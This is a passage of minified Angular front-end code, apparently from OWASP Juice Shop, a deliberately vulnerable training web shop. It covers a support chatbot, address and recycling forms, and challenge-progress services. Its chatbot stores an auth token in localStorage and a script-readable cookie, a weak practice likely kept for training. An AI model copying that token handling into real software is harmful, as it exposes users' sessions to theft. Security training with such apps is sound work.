")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.nD,s.oH,te.C6,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:30%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}"]}),n})(),ke=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/chatbot"}getChatbotStatus(){return this.http.get(this.host+"/status").pipe((0,C.U)(e=>e),(0,_.K)(e=>{throw e}))}getResponse(e,o){return this.http.post(this.host+"/respond",{action:e,query:o}).pipe((0,C.U)(i=>i),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Ya(n,a){if(1&n&&t._UZ(0,"img",16),2&n){const e=t.oxw(2);t.s9C("src",e.juicyImageSrc,t.LSH)}}function Ja(n,a){if(1&n&&t._UZ(0,"img",17),2&n){const e=t.oxw(2);t.s9C("src",e.profileImageSrc,t.LSH)}}function Qa(n,a){if(1&n&&(t.TgZ(0,"div",13),t.YNc(1,Ya,1,1,"img",14),t.YNc(2,Ja,1,1,"img",15),t.TgZ(3,"div"),t._uU(4),t.qZA()()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf","bot"==e.author),t.xp6(1),t.Q6J("ngIf","user"==e.author),t.xp6(1),t.Tol("user"==e.author?"speech-bubble-right":"speech-bubble-left"),t.xp6(1),t.hij(" ",e.body," ")}}const Ha=function(){return{chatbot:"juicy-chat-bot"}};O.vI.add(g.Yme);var pt=(()=>{return(n=pt||(pt={})).user="user",n.bot="bot",pt;var n})();let Ga=(()=>{class n{constructor(e,o,i,r,l){this.userService=e,this.chatbotService=o,this.cookieService=i,this.formSubmitService=r,this.translate=l,this.messageControl=new s.p4,this.messages=[],this.juicyImageSrc="assets/public/images/ChatbotAvatar.png",this.profileImageSrc="assets/public/images/uploads/default.svg",this.messageActions={response:"query",namequery:"setname"},this.currentAction=this.messageActions.response,this.chatScrollDownTimeoutId=null}ngOnDestroy(){this.chatScrollDownTimeoutId&&clearTimeout(this.chatScrollDownTimeoutId)}ngOnInit(){this.chatbotService.getChatbotStatus().subscribe(e=>{this.messages.push({author:pt.bot,body:e.body}),e.action&&(this.currentAction=this.messageActions[e.action])}),this.userService.whoAmI().subscribe(e=>{this.profileImageSrc=e.profileImage},e=>{console.log(e)})}handleResponse(e){if(this.messages.push({author:pt.bot,body:e.body}),this.currentAction=this.messageActions[e.action],e.token){localStorage.setItem("token",e.token);const o=new Date;o.setHours(o.getHours()+8),this.cookieService.put("token",e.token,{expires:o})}}sendMessage(){const e=this.messageControl.value;e&&(this.messages.push({author:pt.user,body:e}),this.messageControl.setValue(""),this.chatbotService.getChatbotStatus().subscribe(o=>{o.status||o.action?this.chatbotService.getResponse(this.currentAction,e).subscribe(i=>{this.handleResponse(i)}):this.messages.push({author:pt.bot,body:o.body}),this.chatScrollDownTimeoutId=setTimeout(()=>{const i=document.getElementById("chat-window");i.scrollTop=i.scrollHeight,this.chatScrollDownTimeoutId=null},250)}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(ke),t.Y36(I.N_),t.Y36(rt),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-chatbot"]],decls:20,vars:13,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],[1,"powered-by"],["id","chat-container"],["id","chat-box"],["id","chat-window"],["class","message-container",4,"ngFor","ngForOf"],[1,"message-box-container"],[1,"form-wrapper"],["color","accent","appearance","outline"],["translate",""],["id","message-input","name","message","matInput","","aria-label","Text field for a chat message",3,"formControl","placeholder","keyup.enter"],["message",""],[1,"message-container"],["class","juicy-chat-bot-image",3,"src",4,"ngIf"],["class","profile-image",3,"src",4,"ngIf"],[1,"juicy-chat-bot-image",3,"src"],[1,"profile-image",3,"src"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.TgZ(5,"span",2),t._uU(6),t.ALo(7,"translate"),t.qZA()(),t.TgZ(8,"mat-card",3)(9,"mat-card",4)(10,"div",5),t.YNc(11,Qa,5,6,"div",6),t.qZA(),t.TgZ(12,"div",7)(13,"div",8)(14,"mat-form-field",9)(15,"mat-label",10),t._uU(16,"LABEL_MESSAGE"),t.qZA(),t.TgZ(17,"input",11,12),t.NdJ("keyup.enter",function(){return o.sendMessage()}),t.ALo(19,"translate"),t.qZA()()()()()()()()),2&e&&(t.xp6(3),t.hij("",t.lcZ(4,5,"SECTION_SUPPORT_CHAT")," "),t.xp6(3),t.hij("(",t.xi3(7,7,"LABEL_POWERED_BY_CHATBOT",t.DdM(12,Ha)),")"),t.xp6(5),t.Q6J("ngForOf",o.messages),t.xp6(6),t.s9C("placeholder",t.lcZ(19,10,"ASK_ME_ANYTHING_PLACEHOLDER")),t.Q6J("formControl",o.messageControl))},dependencies:[h.sg,h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.oH,f.KE,f.hX,T.a8,B.Nt,u.X$],styles:[\'mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:60%}mat-form-field[_ngcontent-%COMP%]{display:block;height:0;margin:auto;width:70%}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}#chat-container[_ngcontent-%COMP%]{box-shadow:none;display:flex;position:relative;width:95%}#chat-box[_ngcontent-%COMP%]{align-content:space-between;background-color:#0000004d;display:block;display:flex;flex-direction:column;height:650px;margin-left:auto;margin-right:auto;padding:0;width:80%}.form-wrapper[_ngcontent-%COMP%]{font-size:10px}#chat-window[_ngcontent-%COMP%]{height:90%;overflow-y:auto;padding:20px}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar{background:none;width:20px}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar-track{background:none}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar-thumb{background:#f00;border-radius:10px}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar-thumb:hover{background:#b30000}.message-box-container[_ngcontent-%COMP%]{border-top:solid 1px #fff;height:10%;padding-top:15px;width:auto}.message-container[_ngcontent-%COMP%]{height:auto;margin-right:25px;overflow:hidden;width:auto}.speech-bubble-right[_ngcontent-%COMP%]{background:rgb(84,110,122);border-radius:4px;float:right;font-size:15px;line-height:1.3;margin-bottom:25px;max-width:500px;padding:15px;position:relative}.speech-bubble-right[_ngcontent-%COMP%]:after{border-left:20px solid transparent;border-top:20px solid rgb(84,110,122);bottom:-20px;content:"";position:absolute;right:20px}.speech-bubble-left[_ngcontent-%COMP%]{background:rgb(84,110,122);border-radius:4px;float:left;font-size:15px;line-height:1.3;margin-bottom:25px;max-width:500px;padding:15px;position:relative}.speech-bubble-left[_ngcontent-%COMP%]:after{border-right:20px solid transparent;border-top:20px solid rgb(84,110,122);bottom:-20px;content:"";left:20px;position:absolute}.juicy-chat-bot-image[_ngcontent-%COMP%]{float:left;height:70px;margin-top:20px}.profile-image[_ngcontent-%COMP%]{border-radius:50%;float:right;height:40px;margin-left:10px;margin-top:20px}.powered-by[_ngcontent-%COMP%]{font-size:xx-small}\']}),n})(),Ie=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Recycles"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),mt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Addresss"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}getById(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Oe=c(5017),nt=c(1948);function ja(n,a){1&n&&(t.TgZ(0,"h1",5),t._uU(1,"TITLE_SELECT_ADDRESS"),t.qZA())}function Ka(n,a){1&n&&(t.TgZ(0,"h1",5),t._uU(1,"MY_SAVED_ADRESSES"),t.qZA())}function Wa(n,a){1&n&&t._UZ(0,"mat-header-cell",20)}function za(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",20)(1,"mat-radio-button",21),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.emitSelectionToParent(r.id))})("change",function(i){const l=t.CHM(e).$implicit,m=t.oxw(2);return t.KtG(i?m.selection.toggle(l):null)}),t.qZA()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Q6J("checked",o.selection.isSelected(e))}}function $a(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function Va(n,a){if(1&n&&(t.TgZ(0,"mat-cell",20),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",null==e?null:e.fullName," ")}}function Xa(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ti(n,a){if(1&n&&(t.TgZ(0,"mat-cell",23),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.HOy(" ",null==e?null:e.streetAddress,", ",null==e?null:e.city,", ",null==e?null:e.state,", ",null==e?null:e.zipCode," ")}}function ei(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ni(n,a){if(1&n&&(t.TgZ(0,"mat-cell",20),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Oqu(null==e?null:e.country)}}function oi(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ai(n,a){if(1&n&&(t.TgZ(0,"mat-cell",24)(1,"button",25),t._UZ(2,"i",26),t.qZA()()),2&n){const e=a.$implicit;t.xp6(1),t.MGl("routerLink","/address/edit/",e.id,"")}}function ii(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ri(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",24)(1,"button",27),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.deleteAddress(r.id))}),t._UZ(2,"i",28),t.qZA()()}}function si(n,a){1&n&&t._UZ(0,"mat-header-row")}function li(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-row",29),t.NdJ("click",function(){const i=t.CHM(e),r=i.$implicit,l=i.$implicit,m=t.oxw(2);return m.selection.toggle(r),t.KtG(m.emitSelectionToParent(l.id))}),t.qZA()}}function ci(n,a){if(1&n&&(t.TgZ(0,"mat-table",6),t.ynx(1,7),t.YNc(2,Wa,1,0,"mat-header-cell",8),t.YNc(3,za,2,1,"mat-cell",9),t.BQk(),t.ynx(4,10),t.YNc(5,$a,1,0,"mat-header-cell",11),t.YNc(6,Va,2,1,"mat-cell",9),t.BQk(),t.ynx(7,12),t.YNc(8,Xa,1,0,"mat-header-cell",11),t.YNc(9,ti,2,4,"mat-cell",13),t.BQk(),t.ynx(10,14),t.YNc(11,ei,1,0,"mat-header-cell",11),t.YNc(12,ni,2,1,"mat-cell",9),t.BQk(),t.ynx(13,15),t.YNc(14,oi,1,0,"mat-header-cell",11),t.YNc(15,ai,3,1,"mat-cell",16),t.BQk(),t.ynx(16,17),t.YNc(17,ii,1,0,"mat-header-cell",11),t.YNc(18,ri,3,0,"mat-cell",16),t.BQk(),t.YNc(19,si,1,0,"mat-header-row",18),t.YNc(20,li,1,0,"mat-row",19),t.qZA()),2&n){const e=t.oxw();t.Q6J("dataSource",e.dataSource),t.xp6(19),t.Q6J("matHeaderRowDef",e.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",e.displayedColumns)}}function ui(n,a){1&n&&(t.TgZ(0,"div",30)(1,"button",31)(2,"mat-icon"),t._uU(3," add "),t.qZA(),t.TgZ(4,"span",5),t._uU(5,"ADD_NEW_ADDRESS"),t.qZA()()())}function pi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",32),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.chooseAddress())}),t.TgZ(1,"mat-icon"),t._uU(2," navigate_next "),t.qZA(),t.TgZ(3,"span",5),t._uU(4,"LABEL_CONTINUE"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",void 0===e.addressId)}}O.vI.add(D.Xc,D.I7);let ee=(()=>{class n{constructor(e,o,i,r,l){this.addressService=e,this.translate=o,this.router=i,this.ngZone=r,this.snackBarHelperService=l,this.emitSelection=new t.vpe,this.allowEdit=!1,this.addNewAddressDiv=!0,this.showNextButton=!1,this.addressId=void 0,this.displayedColumns=["Name","Address","Country"],this.selection=new Oe.Ov(!1,[]),this.addressExist=!1}ngOnInit(){this.allowEdit?this.displayedColumns.push("Edit","Remove"):this.displayedColumns.unshift("Selection"),this.load()}load(){this.addressService.get().subscribe(e=>{this.addressExist=e.length,this.storedAddresses=e,this.dataSource=new d.by(this.storedAddresses)},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),console.log(e)})}emitSelectionToParent(e){this.selection.hasValue()?(this.emitSelection.emit(e),this.addressId=e):(this.emitSelection.emit(void 0),this.addressId=void 0)}chooseAddress(){var e=this;sessionStorage.setItem("addressId",this.addressId),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/delivery-method"])}))}deleteAddress(e){this.addressService.del(e).subscribe(()=>{this.error=null,this.translate.get("ADDRESS_REMOVED").subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}),this.load()},o=>{this.snackBarHelperService.open(o.error?.error,"errorBar"),console.log(o)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(mt),t.Y36(u.sK),t.Y36(U.F0),t.Y36(t.R0b),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-address"]],inputs:{allowEdit:"allowEdit",addNewAddressDiv:"addNewAddressDiv",showNextButton:"showNextButton"},outputs:{emitSelection:"emitSelection"},decls:6,vars:7,consts:[[1,"mat-elevation-z6"],["translate","",4,"ngIf"],[3,"dataSource",4,"ngIf"],["style","margin-top: 20px;",4,"ngIf"],["mat-raised-button","","mat-button","","class","btn btn-next","color","primary","aria-label","Proceed to payment selection",3,"disabled","click",4,"ngIf"],["translate",""],[3,"dataSource"],["matColumnDef","Selection"],["fxFlex","20%",4,"matHeaderCellDef"],["fxFlex","20%",4,"matCellDef"],["matColumnDef","Name"],["style","display: none;",4,"matHeaderCellDef"],["matColumnDef","Address"],["fxFlex","40%",4,"matCellDef"],["matColumnDef","Country"],["matColumnDef","Edit"],["fxflex","10%",4,"matCellDef"],["matColumnDef","Remove"],[4,"matHeaderRowDef"],[3,"click",4,"matRowDef","matRowDefColumns"],["fxFlex","20%"],[3,"checked","click","change"],[2,"display","none"],["fxFlex","40%"],["fxflex","10%"],["mat-icon-button","",3,"routerLink"],[1,"far","fa-edit"],["mat-icon-button","",3,"click"],[1,"far","fa-trash-alt"],[3,"click"],[2,"margin-top","20px"],["mat-raised-button","","mat-button","","color","primary","aria-label","Add a new address","routerLink","/address/create",1,"btn","btn-new-address"],["mat-raised-button","","mat-button","","color","primary","aria-label","Proceed to payment selection",1,"btn","btn-next",3,"disabled","click"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0),t.YNc(1,ja,2,0,"h1",1),t.YNc(2,Ka,2,0,"h1",1),t.YNc(3,ci,21,3,"mat-table",2),t.YNc(4,ui,6,0,"div",3),t.YNc(5,pi,5,1,"button",4),t.qZA()),2&e&&(t.ekj("div-boundary",!o.addNewAddressDiv),t.xp6(1),t.Q6J("ngIf",o.showNextButton),t.xp6(1),t.Q6J("ngIf",!o.showNextButton),t.xp6(1),t.Q6J("ngIf",o.addressExist),t.xp6(1),t.Q6J("ngIf",o.addNewAddressDiv),t.xp6(1),t.Q6J("ngIf",o.showNextButton))},dependencies:[h.O5,U.rH,u.Pi,p.yH,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,nt.U0],styles:[".btn-new-address[_ngcontent-%COMP%]{display:block;margin-left:0;margin-right:auto}.btn-next[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:0;margin-top:-37px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large}.heading-text[_ngcontent-%COMP%]{justify-content:center;padding:12px 20px}.div-boundary[_ngcontent-%COMP%]{border:1px solid rgba(255,255,255,.3);border-radius:5px;box-shadow:0 0!important}"]}),n})();var Et=c(9602);const di=["addressComp"];function mi(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_QUANTITY "),t.qZA())}const gi=function(){return{range:"10-1000"}};function hi(n,a){1&n&&(t.TgZ(0,"mat-error",21),t._uU(1,"INVALID_QUANTITY "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,gi))}function _i(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_DATE"),t.qZA())}function fi(n,a){if(1&n&&(t.TgZ(0,"mat-form-field",22)(1,"mat-label",2),t._uU(2,"LABEL_PICKUP_DATE"),t.qZA(),t._UZ(3,"input",23)(4,"mat-datepicker-toggle",24)(5,"mat-datepicker",null,25),t.YNc(7,_i,2,0,"mat-error",7),t.qZA()),2&n){const e=t.MAs(6),o=t.oxw();t.xp6(3),t.Q6J("formControl",o.pickUpDateControl)("matDatepicker",e),t.xp6(1),t.Q6J("for",e),t.xp6(3),t.Q6J("ngIf",o.pickUpDateControl.invalid)}}function Ci(n,a){if(1&n&&(t.TgZ(0,"mat-checkbox",26),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=t.oxw();t.Q6J("formControl",e.pickup),t.xp6(1),t.hij("",t.lcZ(2,2,"REQUEST_PICKUP")," ")}}O.vI.add(g.XCy);let vi=(()=>{class n{constructor(e,o,i,r,l,m){this.recycleService=e,this.userService=o,this.configurationService=i,this.formSubmitService=r,this.translate=l,this.snackBarHelperService=m,this.requestorControl=new s.p4({value:"",disabled:!0},[]),this.recycleQuantityControl=new s.p4("",[s.kI.required,s.kI.min(10),s.kI.max(1e3)]),this.pickUpDateControl=new s.p4,this.pickup=new s.p4(!1),this.recycle={},this.addressId=void 0}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.recyclePage&&(this.topImage=`assets/public/images/products/${e.application.recyclePage.topProductImage}`,this.bottomImage=`assets/public/images/products/${e.application.recyclePage.bottomProductImage}`)},e=>{console.log(e)}),this.initRecycle(),this.findAll(),this.formSubmitService.attachEnterKeyHandler("recycle-form","recycleButton",()=>{this.save()})}initRecycle(){this.userService.whoAmI().subscribe(e=>{this.recycle={},this.recycle.UserId=e.id,this.userEmail=e.email,this.requestorControl.setValue(this.userEmail)},e=>{console.log(e)})}save(){this.recycle.AddressId=this.addressId,this.recycle.quantity=this.recycleQuantityControl.value,this.pickup.value&&(this.recycle.isPickUp=this.pickup.value,this.recycle.date=this.pickUpDateControl.value),this.recycleService.save(this.recycle).subscribe(e=>{e.isPickup?this.translate.get("CONFIRM_RECYCLING_PICKUP",{pickupdate:e.pickupDate}).subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}):this.translate.get("CONFIRM_RECYCLING_BOX").subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}),this.addressComponent.load(),this.initRecycle(),this.resetForm()},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),console.log(e)})}findAll(){this.recycleService.find().subscribe(e=>{this.recycles=e},e=>{console.log(e)})}resetForm(){this.addressId=void 0,this.recycleQuantityControl.setValue(""),this.recycleQuantityControl.markAsPristine(),this.recycleQuantityControl.markAsUntouched(),this.pickUpDateControl.setValue(""),this.pickUpDateControl.markAsPristine(),this.pickUpDateControl.markAsUntouched(),this.pickup.setValue(!1)}getMessage(e){this.addressId=e}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ie),t.Y36(R),t.Y36(b.e),t.Y36(rt),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-recycle"]],viewQuery:function(e,o){if(1&e&&t.Gf(di,7),2&e){let i;t.iGM(i=t.CRH())&&(o.addressComponent=i.first)}},decls:41,vars:16,consts:[["fxLayout","row","fxLayoutGap","5%","fxLayout.lt-md","column","fxLayoutGap.lt-md","20px",1,"mat-elevation-z6","mat-own-card"],["fxLayout","column","fxLayoutGap","20px","fxFlex","50%"],["translate",""],["id","recycle-form",1,"form-container"],["appearance","outline","color","accent"],["type","text","matInput","",3,"formControl"],["type","number","matInput","",3,"formControl","placeholder"],["translate","",4,"ngIf"],["translate","",3,"translateParams",4,"ngIf"],[1,"mat-elevation-z0",3,"addNewAddressDiv","emitSelection"],["addressComp",""],["appearance","outline",4,"ngIf"],[3,"formControl",4,"ngIf"],["type","submit","id","recycleButton","mat-raised-button","","color","primary",3,"disabled","click"],[1,"fas","fa-paper-plane","fa-lg"],["fxFlex","50%"],["fxLayout","column","fxLayoutGap","20px","fxLayoutAlign","center"],["translate","",1,"responsibility-header"],["fxLayout","row","fxLayoutGap","20px",1,"mat-elevation-z0"],["mat-card-image","",3,"src"],[1,"fill-remaining-space"],["translate","",3,"translateParams"],["appearance","outline"],["matInput","",3,"formControl","matDatepicker"],["matSuffix","",3,"for"],["picker",""],[3,"formControl"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div",1)(2,"h1",2),t._uU(3,"TITLE_RECYCLE"),t.qZA(),t.TgZ(4,"div",3)(5,"mat-form-field",4)(6,"mat-label",2),t._uU(7,"LABEL_REQUESTOR"),t.qZA(),t._UZ(8,"input",5),t.qZA(),t.TgZ(9,"mat-form-field",4)(10,"mat-label",2),t._uU(11,"LABEL_QUANTITY"),t.qZA(),t._UZ(12,"input",6),t.ALo(13,"translate"),t.YNc(14,mi,2,0,"mat-error",7),t.YNc(15,hi,2,2,"mat-error",8),t.qZA(),t.TgZ(16,"app-address",9,10),t.NdJ("emitSelection",function(r){return o.getMessage(r)}),t.qZA(),t.YNc(18,fi,8,4,"mat-form-field",11),t.YNc(19,Ci,3,4,"mat-checkbox",12),t.qZA(),t.TgZ(20,"button",13),t.NdJ("click",function(){return o.save()}),t._UZ(21,"i",14),t._uU(22),t.ALo(23,"translate"),t.qZA()(),t.TgZ(24,"div",15)(25,"div",16)(26,"h3",17),t._uU(27,"SECTION_PRESS_JUICE_RESPONSIBLY"),t.qZA(),t.TgZ(28,"mat-card",18),t._UZ(29,"img",19),t.TgZ(30,"mat-card-content")(31,"div")(32,"small"),t._uU(33,"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. "),t.qZA()()()(),t.TgZ(34,"mat-card",18),t._UZ(35,"img",19),t.TgZ(36,"mat-card-content")(37,"div")(38,"small"),t._uU(39,"Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. "),t.qZA()()()(),t._UZ(40,"span",20),t.qZA()()()),2&e&&(t.xp6(8),t.Q6J("formControl",o.requestorControl),t.xp6(4),t.Q6J("formControl",o.recycleQuantityControl)("placeholder",t.lcZ(13,12,"IN_LITERS_PLACEHOLDER")),t.xp6(2),t.Q6J("ngIf",o.recycleQuantityControl.invalid&&o.recycleQuantityControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.recycleQuantityControl.invalid&&(o.recycleQuantityControl.errors.min||o.recycleQuantityControl.errors.max)),t.xp6(1),t.Q6J("addNewAddressDiv",!1),t.xp6(2),t.Q6J("ngIf",o.pickup.value&&o.recycleQuantityControl.value>100),t.xp6(1),t.Q6J("ngIf",o.recycleQuantityControl.value>100),t.xp6(1),t.Q6J("disabled",void 0===o.addressId||o.recycleQuantityControl.invalid||o.pickUpDateControl.invalid),t.xp6(2),t.hij(" ",t.lcZ(23,14,"BTN_SUBMIT")," "),t.xp6(7),t.Q6J("src",o.topImage,t.LSH),t.xp6(6),t.Q6J("src",o.bottomImage,t.LSH))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.Wh,p.yH,s.Fj,s.wV,s.JJ,s.oH,f.TO,f.KE,f.hX,f.R9,x.lW,T.a8,T.dn,T.G2,B.Nt,Xt.oG,Et.Mq,Et.hl,Et.nW,ee,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}button[_ngcontent-%COMP%]{margin-left:20%;margin-top:5px;width:60%}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:10%;margin-right:10%}mat-card[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{height:100px;width:auto}mat-checkbox[_ngcontent-%COMP%]{margin-bottom:20px}.fill-remaining-space[_ngcontent-%COMP%]{flex:1 1 auto}"]}),n})(),ot=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Challenges"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}repeatNotification(e){return this.http.get(this.hostServer+"/rest/repeat-notification",{params:{challenge:e},responseType:"text"}).pipe((0,_.K)(o=>{throw o}))}continueCode(){return this.http.get(this.hostServer+"/rest/continue-code").pipe((0,C.U)(e=>e.continueCode),(0,_.K)(e=>{throw e}))}continueCodeFindIt(){return this.http.get(this.hostServer+"/rest/continue-code-findIt").pipe((0,C.U)(e=>e.continueCode),(0,_.K)(e=>{throw e}))}continueCodeFixIt(){return this.http.get(this.hostServer+"/rest/continue-code-fixIt").pipe((0,C.U)(e=>e.continueCode),(0,_.K)(e=>{throw e}))}restoreProgress(e){return this.http.put(this.hostServer+"/rest/continue-code/apply/"+e,{}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}restoreProgressFindIt(e){return this.http.put(this.hostServer+"/rest/continue-code-findIt/apply/"+e,{}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}restoreProgressFixIt(e){return this.http.put(this.hostServer+"/rest/continue-code-fixIt/apply/"+e,{}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Ue=c(9441),xi=c(5254),bt=c(1086);let Le=(()=>{class n{constructor(e,o,i,r){this.cookieService=e,this.challengeService=o,this.snackBarHelperService=i,this.snackBar=r,this.VERSION=1}save(e="owasp_juice_shop"){const o={version:this.VERSION};o.scoreBoard={scoreBoardVersion:localStorage.getItem("score-board-version")?JSON.parse(String(localStorage.getItem("score-board-version"))):void 0,displayedDifficulties:localStorage.getItem("displayedDifficulties")?JSON.parse(String(localStorage.getItem("displayedDifficulties"))):void 0,showSolvedChallenges:localStorage.getItem("showSolvedChallenges")?JSON.parse(String(localStorage.getItem("showSolvedChallenges"))):void 0,showDisabledChallenges:localStorage.getItem("showDisabledChallenges")?JSON.parse(String(localStorage.getItem("showDisabledChallenges"))):void 0,showOnlyTutorialChallenges:localStorage.getItem("showOnlyTutorialChallenges")?JSON.parse(String(localStorage.getItem("showOnlyTutorialChallenges"))):void 0,displayedChallengeCategories:localStorage.getItem("displayedChallengeCategories")?JSON.parse(String(localStorage.getItem("displayedChallengeCategories"))):void 0},o.banners={welcomeBannerStatus:this.cookieService.get("welcomebanner_status")?this.cookieService.get("welcomebanner_status"):void 0,cookieConsentStatus:this.cookieService.get("cookieconsent_status")?this.cookieService.get("cookieconsent_status"):void 0},o.language=this.cookieService.get("language")?this.cookieService.get("language"):void 0;const i=this.challengeService.continueCode(),r=this.challengeService.continueCodeFindIt(),l=this.challengeService.continueCodeFixIt();(0,Nt.D)([i,r,l]).subscribe(([m,v,A])=>{o.continueCode=m,o.continueCodeFindIt=v,o.continueCodeFixIt=A;const q=new Blob([JSON.stringify(o)],{type:"text/plain;charset=utf-8"});(0,Ue.saveAs)(q,`${e}-${(new Date).toISOString().split("T")[0]}.json`)},()=>{console.log("Failed to retrieve continue code(s) for backup from server. Using cookie values as 